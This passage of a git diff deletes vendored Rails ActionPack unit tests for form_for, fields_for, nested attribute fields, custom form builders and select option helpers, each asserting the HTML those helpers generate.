-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      @post.comments.each do |comment|
-        f.fields_for(:comments, comment) do |cf|
-          concat cf.text_field(:name)
-        end
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
-               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />' +
-               '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_explicit_hidden_field_placement
-    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      @post.comments.each do |comment|
-        f.fields_for(:comments, comment) do |cf|
-          concat cf.hidden_field(:id)
-          concat cf.text_field(:name)
-        end
-      end
-    end
-    
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
-               '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
-               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_new_records_on_a_nested_attributes_collection_association
-    @post.comments = [Comment.new, Comment.new]
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      @post.comments.each do |comment|
-        f.fields_for(:comments, comment) do |cf|
-          concat cf.text_field(:name)
-        end
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="new comment" />' +
-               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="new comment" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_and_new_records_on_a_nested_attributes_collection_association
-    @post.comments = [Comment.new(321), Comment.new]
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      @post.comments.each do |comment|
-        f.fields_for(:comments, comment) do |cf|
-          concat cf.text_field(:name)
-        end
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #321" />' +
-               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
-               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="new comment" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_an_empty_supplied_attributes_collection
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      f.fields_for(:comments, []) do |cf|
-        concat cf.text_field(:name)
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection
-    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      f.fields_for(:comments, @post.comments) do |cf|
-        concat cf.text_field(:name)
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
-               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />' +
-               '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_on_a_nested_attributes_collection_association_yields_only_builder
-    @post.comments = [Comment.new(321), Comment.new]
-    yielded_comments = []
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      f.fields_for(:comments) do |cf|
-        concat cf.text_field(:name)
-        yielded_comments << cf.object
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #321" />' +
-               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
-               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="new comment" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-    assert_equal yielded_comments, @post.comments
-  end
-
-  def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association
-    @post.comments = []
-
-    form_for(:post, @post) do |f|
-      f.fields_for(:comments, Comment.new(321), :child_index => 'abc') do |cf|
-        concat cf.text_field(:name)
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" size="30" type="text" value="comment #321" />' +
-               '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_uses_unique_indices_for_different_collection_associations
-    @post.comments = [Comment.new(321)]
-    @post.tags = [Tag.new(123), Tag.new(456)]
-    @post.comments[0].relevances = []
-    @post.tags[0].relevances = []
-    @post.tags[1].relevances = []
-    form_for(:post, @post) do |f|
-      f.fields_for(:comments, @post.comments[0]) do |cf|
-        concat cf.text_field(:name)
-        cf.fields_for(:relevances, CommentRelevance.new(314)) do |crf|
-          concat crf.text_field(:value)
-        end
-      end
-      f.fields_for(:tags, @post.tags[0]) do |tf|
-        concat tf.text_field(:value)
-        tf.fields_for(:relevances, TagRelevance.new(3141)) do |trf|
-          concat trf.text_field(:value)
-        end
-      end
-      f.fields_for('tags', @post.tags[1]) do |tf|
-        concat tf.text_field(:value)
-        tf.fields_for(:relevances, TagRelevance.new(31415)) do |trf|
-          concat trf.text_field(:value)
-        end
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #321" />' +
-               '<input id="post_comments_attributes_0_relevances_attributes_0_value" name="post[comments_attributes][0][relevances_attributes][0][value]" size="30" type="text" value="commentrelevance #314" />' +
-               '<input id="post_comments_attributes_0_relevances_attributes_0_id" name="post[comments_attributes][0][relevances_attributes][0][id]" type="hidden" value="314" />' +
-               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
-               '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" size="30" type="text" value="tag #123" />' +
-               '<input id="post_tags_attributes_0_relevances_attributes_0_value" name="post[tags_attributes][0][relevances_attributes][0][value]" size="30" type="text" value="tagrelevance #3141" />' +
-               '<input id="post_tags_attributes_0_relevances_attributes_0_id" name="post[tags_attributes][0][relevances_attributes][0][id]" type="hidden" value="3141" />' +
-               '<input id="post_tags_attributes_0_id" name="post[tags_attributes][0][id]" type="hidden" value="123" />' +
-               '<input id="post_tags_attributes_1_value" name="post[tags_attributes][1][value]" size="30" type="text" value="tag #456" />' +
-               '<input id="post_tags_attributes_1_relevances_attributes_0_value" name="post[tags_attributes][1][relevances_attributes][0][value]" size="30" type="text" value="tagrelevance #31415" />' +
-               '<input id="post_tags_attributes_1_relevances_attributes_0_id" name="post[tags_attributes][1][relevances_attributes][0][id]" type="hidden" value="31415" />' +
-               '<input id="post_tags_attributes_1_id" name="post[tags_attributes][1][id]" type="hidden" value="456" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for
-    fields_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_with_index
-    fields_for("post[]", @post) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
-      "<textarea name='post[123][body]' id='post_123_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[123][secret]' type='hidden' value='0' />" +
-      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_with_nil_index_option_override
-    fields_for("post[]", @post, :index => nil) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[][title]' size='30' type='text' id='post__title' value='Hello World' />" +
-      "<textarea name='post[][body]' id='post__body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[][secret]' type='hidden' value='0' />" +
-      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_with_index_option_override
-    fields_for("post[]", @post, :index => "abc") do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[abc][title]' size='30' type='text' id='post_abc_title' value='Hello World' />" +
-      "<textarea name='post[abc][body]' id='post_abc_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[abc][secret]' type='hidden' value='0' />" +
-      "<input name='post[abc][secret]' checked='checked' type='checkbox' id='post_abc_secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_without_object
-    fields_for(:post) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_with_only_object
-    fields_for(@post) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_object_with_bracketed_name
-    fields_for("author[post]", @post) do |f|
-      concat f.label(:title)
-      concat f.text_field(:title)
-    end
-
-    assert_dom_equal "<label for=\"author_post_title\">Title</label>" +
-    "<input name='author[post][title]' size='30' type='text' id='author_post_title' value='Hello World' />",
-      output_buffer
-  end
-
-  def test_fields_for_object_with_bracketed_name_and_index
-    fields_for("author[post]", @post, :index => 1) do |f|
-      concat f.label(:title)
-      concat f.text_field(:title)
-    end
-
-    assert_dom_equal "<label for=\"author_post_1_title\">Title</label>" +
-      "<input name='author[post][1][title]' size='30' type='text' id='author_post_1_title' value='Hello World' />",
-      output_buffer
-  end
-
-  def test_form_builder_does_not_have_form_for_method
-    assert ! ActionView::Helpers::FormBuilder.instance_methods.include?('form_for')
-  end
-
-  def test_form_for_and_fields_for
-    form_for(:post, @post, :html => { :id => 'create-post' }) do |post_form|
-      concat post_form.text_field(:title)
-      concat post_form.text_area(:body)
-
-      fields_for(:parent_post, @post) do |parent_fields|
-        concat parent_fields.check_box(:secret)
-      end
-    end
-
-    expected =
-      "<form action='http://www.example.com' id='create-post' method='post'>" +
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='parent_post[secret]' type='hidden' value='0' />" +
-      "<input name='parent_post[secret]' checked='checked' type='checkbox' id='parent_post_secret' value='1' />" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_and_fields_for_with_object
-    form_for(:post, @post, :html => { :id => 'create-post' }) do |post_form|
-      concat post_form.text_field(:title)
-      concat post_form.text_area(:body)
-
-      post_form.fields_for(@comment) do |comment_fields|
-        concat comment_fields.text_field(:name)
-      end
-    end
-
-    expected =
-      "<form action='http://www.example.com' id='create-post' method='post'>" +
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[comment][name]' type='text' id='post_comment_name' value='new comment' size='30' />" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  class LabelledFormBuilder < ActionView::Helpers::FormBuilder
-    (field_helpers - %w(hidden_field)).each do |selector|
-      src, line = <<-END_SRC, __LINE__ + 1
-        def #{selector}(field, *args, &proc)
-          ("<label for='\#{field}'>\#{field.to_s.humanize}:</label> " + super + "<br/>").html_safe
-        end
-      END_SRC
-      class_eval src, __FILE__, line
-    end
-  end
-
-  def test_form_for_with_labelled_builder
-    form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<form action='http://www.example.com' method='post'>" +
-      "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
-      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_default_form_builder
-    old_default_form_builder, ActionView::Base.default_form_builder =
-      ActionView::Base.default_form_builder, LabelledFormBuilder
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<form action='http://www.example.com' method='post'>" +
-      "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
-      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  ensure
-    ActionView::Base.default_form_builder = old_default_form_builder
-  end
-
-  def test_default_form_builder_with_active_record_helpers
-    form_for(:post, @post) do |f|
-       concat f.error_message_on('author_name')
-       concat f.error_messages
-    end
-
-    expected = %(<form action='http://www.example.com' method='post'>) +
-               %(<div class='formError'>can't be empty</div>) +
-               %(<div class="errorExplanation" id="errorExplanation"><h2>1 error prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>) +
-               %(</form>)
-
-    assert_dom_equal expected, output_buffer
-
-  end
-
-  def test_default_form_builder_no_instance_variable
-    post = @post
-    @post = nil
-
-    form_for(:post, post) do |f|
-       concat f.error_message_on('author_name')
-       concat f.error_messages
-    end
-
-    expected = %(<form action='http://www.example.com' method='post'>) +
-               %(<div class='formError'>can't be empty</div>) +
-               %(<div class="errorExplanation" id="errorExplanation"><h2>1 error prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>) +
-               %(</form>)
-
-    assert_dom_equal expected, output_buffer
-
-  end
-  
-  def test_default_form_builder_without_object
-
-    form_for(:post) do |f|
-       concat f.error_message_on('author_name')
-       concat f.error_messages
-    end
-
-    expected = %(<form action='http://www.example.com' method='post'>) +
-               %(<div class='formError'>can't be empty</div>) +
-               %(<div class="errorExplanation" id="errorExplanation"><h2>1 error prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>) +
-               %(</form>)
-
-    assert_dom_equal expected, output_buffer
-
-  end
-
-  # Perhaps this test should be moved to prototype helper tests.
-  def test_remote_form_for_with_labelled_builder
-    self.extend ActionView::Helpers::PrototypeHelper
-
-     remote_form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
-       concat f.text_field(:title)
-       concat f.text_area(:body)
-       concat f.check_box(:secret)
-     end
-
-     expected =
-       %(<form action="http://www.example.com" onsubmit="new Ajax.Request('http://www.example.com', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" method="post">) +
-       "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
-       "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
-       "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>" +
-       "</form>"
-
-     assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_with_labelled_builder
-    fields_for(:post, @post, :builder => LabelledFormBuilder) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
-      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_labelled_builder_with_nested_fields_for_without_options_hash
-    klass = nil
-
-    form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
-      f.fields_for(:comments, Comment.new) do |nested_fields|
-        klass = nested_fields.class
-        ''
-      end
-    end
-
-    assert_equal LabelledFormBuilder, klass
-  end
-
-  def test_form_for_with_labelled_builder_with_nested_fields_for_with_options_hash
-    klass = nil
-
-    form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
-      f.fields_for(:comments, Comment.new, :index => 'foo') do |nested_fields|
-        klass = nested_fields.class
-        ''
-      end
-    end
-
-    assert_equal LabelledFormBuilder, klass
-  end
-
-  class LabelledFormBuilderSubclass < LabelledFormBuilder; end
-
-  def test_form_for_with_labelled_builder_with_nested_fields_for_with_custom_builder
-    klass = nil
-
-    form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
-      f.fields_for(:comments, Comment.new, :builder => LabelledFormBuilderSubclass) do |nested_fields|
-        klass = nested_fields.class
-        ''
-      end
-    end
-
-    assert_equal LabelledFormBuilderSubclass, klass
-  end
-
-  def test_form_for_with_html_options_adds_options_to_form_tag
-    form_for(:post, @post, :html => {:id => 'some_form', :class => 'some_class'}) do |f| end
-    expected = "<form action=\"http://www.example.com\" class=\"some_class\" id=\"some_form\" method=\"post\"></form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_string_url_option
-    form_for(:post, @post, :url => 'http://www.otherdomain.com') do |f| end
-
-    assert_equal '<form action="http://www.otherdomain.com" method="post"></form>', output_buffer
-  end
-
-  def test_form_for_with_hash_url_option
-    form_for(:post, @post, :url => {:controller => 'controller', :action => 'action'}) do |f| end
-
-    assert_equal 'controller', @controller.url_for_options[:controller]
-    assert_equal 'action', @controller.url_for_options[:action]
-  end
-
-  def test_form_for_with_record_url_option
-    form_for(:post, @post, :url => @post) do |f| end
-
-    expected = "<form action=\"/posts/123\" method=\"post\"></form>"
-    assert_equal expected, output_buffer
-  end
-
-  def test_form_for_with_existing_object
-    form_for(@post) do |f| end
-
-    expected = "<form action=\"/posts/123\" class=\"edit_post\" id=\"edit_post_123\" method=\"post\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"_method\" type=\"hidden\" value=\"put\" /></div></form>"
-    assert_equal expected, output_buffer
-  end
-
-  def test_form_for_with_new_object
-    post = Post.new
-    post.new_record = true
-    def post.id() nil end
-
-    form_for(post) do |f| end
-
-    expected = "<form action=\"/posts\" class=\"new_post\" id=\"new_post\" method=\"post\"></form>"
-    assert_equal expected, output_buffer
-  end
-
-  def test_form_for_with_existing_object_in_list
-    @post.new_record = false
-    @comment.save
-
-    form_for([@post, @comment]) {}
-
-    expected = %(<form action="#{comment_path(@post, @comment)}" class="edit_comment" id="edit_comment_1" method="post"><div style="margin:0;padding:0;display:inline"><input name="_method" type="hidden" value="put" /></div></form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_new_object_in_list
-    @post.new_record = false
-
-    form_for([@post, @comment]) {}
-
-    expected = %(<form action="#{comments_path(@post)}" class="new_comment" id="new_comment" method="post"></form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_existing_object_and_namespace_in_list
-    @post.new_record = false
-    @comment.save
-
-    form_for([:admin, @post, @comment]) {}
-
-    expected = %(<form action="#{admin_comment_path(@post, @comment)}" class="edit_comment" id="edit_comment_1" method="post"><div style="margin:0;padding:0;display:inline"><input name="_method" type="hidden" value="put" /></div></form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_new_object_and_namespace_in_list
-    @post.new_record = false
-
-    form_for([:admin, @post, @comment]) {}
-
-    expected = %(<form action="#{admin_comments_path(@post)}" class="new_comment" id="new_comment" method="post"></form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_existing_object_and_custom_url
-    form_for(@post, :url => "/super_posts") do |f| end
-
-    expected = "<form action=\"/super_posts\" class=\"edit_post\" id=\"edit_post_123\" method=\"post\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"_method\" type=\"hidden\" value=\"put\" /></div></form>"
-    assert_equal expected, output_buffer
-  end
-
-  def test_remote_form_for_with_html_options_adds_options_to_form_tag
-    self.extend ActionView::Helpers::PrototypeHelper
-
-    remote_form_for(:post, @post, :html => {:id => 'some_form', :class => 'some_class'}) do |f| end
-    expected = "<form action=\"http://www.example.com\" class=\"some_class\" id=\"some_form\" method=\"post\" onsubmit=\"new Ajax.Request('http://www.example.com', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\"></form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  protected
-    def comments_path(post)
-      "/posts/#{post.id}/comments"
-    end
-    alias_method :post_comments_path, :comments_path
-
-    def comment_path(post, comment)
-      "/posts/#{post.id}/comments/#{comment.id}"
-    end
-    alias_method :post_comment_path, :comment_path
-
-    def admin_comments_path(post)
-      "/admin/posts/#{post.id}/comments"
-    end
-    alias_method :admin_post_comments_path, :admin_comments_path
-
-    def admin_comment_path(post, comment)
-      "/admin/posts/#{post.id}/comments/#{comment.id}"
-    end
-    alias_method :admin_post_comment_path, :admin_comment_path
-
-    def posts_path
-      "/posts"
-    end
-
-    def post_path(post)
-      "/posts/#{post.id}"
-    end
-
-    def protect_against_forgery?
-      false
-    end
-end
diff --git a/vendor/rails/actionpack/test/template/form_options_helper_i18n_test.rb b/vendor/rails/actionpack/test/template/form_options_helper_i18n_test.rb
deleted file mode 100644
index 91e370ef..00000000
--- a/vendor/rails/actionpack/test/template/form_options_helper_i18n_test.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-require 'abstract_unit'
-
-class FormOptionsHelperI18nTests < ActionView::TestCase
-  tests ActionView::Helpers::FormOptionsHelper
-
-  def setup
-    @prompt_message = 'Select!'
-    I18n.backend.send(:init_translations)
-    I18n.backend.store_translations :en, :support => { :select => { :prompt => @prompt_message } }
-  end
-
-  def teardown
-    I18n.backend = I18n::Backend::Simple.new
-  end
-
-  def test_select_with_prompt_true_translates_prompt_message
-    I18n.expects(:translate).with('support.select.prompt', { :default => 'Please select' })
-    select('post', 'category', [], :prompt => true)
-  end
-
-  def test_select_with_translated_prompt
-    assert_dom_equal(
-      %Q(<select id="post_category" name="post[category]"><option value="">#{@prompt_message}</option>\n</select>),
-      select('post', 'category', [], :prompt => true)
-    )
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/template/form_options_helper_test.rb b/vendor/rails/actionpack/test/template/form_options_helper_test.rb
deleted file mode 100644
index 9c65abfc..00000000
--- a/vendor/rails/actionpack/test/template/form_options_helper_test.rb
+++ /dev/null
@@ -1,811 +0,0 @@
-require 'abstract_unit'
-require 'tzinfo'
-
-TZInfo::Timezone.cattr_reader :loaded_zones
-
-class FormOptionsHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::FormOptionsHelper
-
-  silence_warnings do
-    Post        = Struct.new('Post', :title, :author_name, :body, :secret, :written_on, :category, :origin)
-    Continent   = Struct.new('Continent', :continent_name, :countries)
-    Country     = Struct.new('Country', :country_id, :country_name)
-    Firm        = Struct.new('Firm', :time_zone)
-    Album       = Struct.new('Album', :id, :title, :genre)
-  end
-
-  def setup
-    @fake_timezones = %w(A B C D E).inject([]) do |zones, id|
-      tz = TZInfo::Timezone.loaded_zones[id] = stub(:name => id, :to_s => id)
-      ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz)
-      zones << tz
-    end
-    ActiveSupport::TimeZone.stubs(:all).returns(@fake_timezones)
-  end
-
-  def test_collection_options
-    assert_dom_equal(
-      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", "title")
-    )
-  end
-
-
-  def test_collection_options_with_preselected_value
-    assert_dom_equal(
-      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", "title", "Babe")
-    )
-  end
-
-  def test_collection_options_with_preselected_value_array
-      assert_dom_equal(
-        "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
-        options_from_collection_for_select(dummy_posts, "author_name", "title", [ "Babe", "Cabe" ])
-      )
-  end
-
-  def test_collection_options_with_proc_for_selected
-    assert_dom_equal(
-      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", "title", lambda{|p| p.author_name == 'Babe' })
-    )
-  end
-
-  def test_collection_options_with_disabled_value
-    assert_dom_equal(
-      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => "Babe")
-    )
-  end
-
-  def test_collection_options_with_disabled_array
-    assert_dom_equal(
-      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => [ "Babe", "Cabe" ])
-    )
-  end
-
-  def test_collection_options_with_preselected_and_disabled_value
-    assert_dom_equal(
-      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", "title", :selected => "Cabe", :disabled => "Babe")
-    )
-  end
-
-  def test_collection_options_with_proc_for_disabled
-    assert_dom_equal(
-      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => lambda{|p| %w(Babe Cabe).include? p.author_name })
-    )
-  end
-
-  def test_string_options_for_select
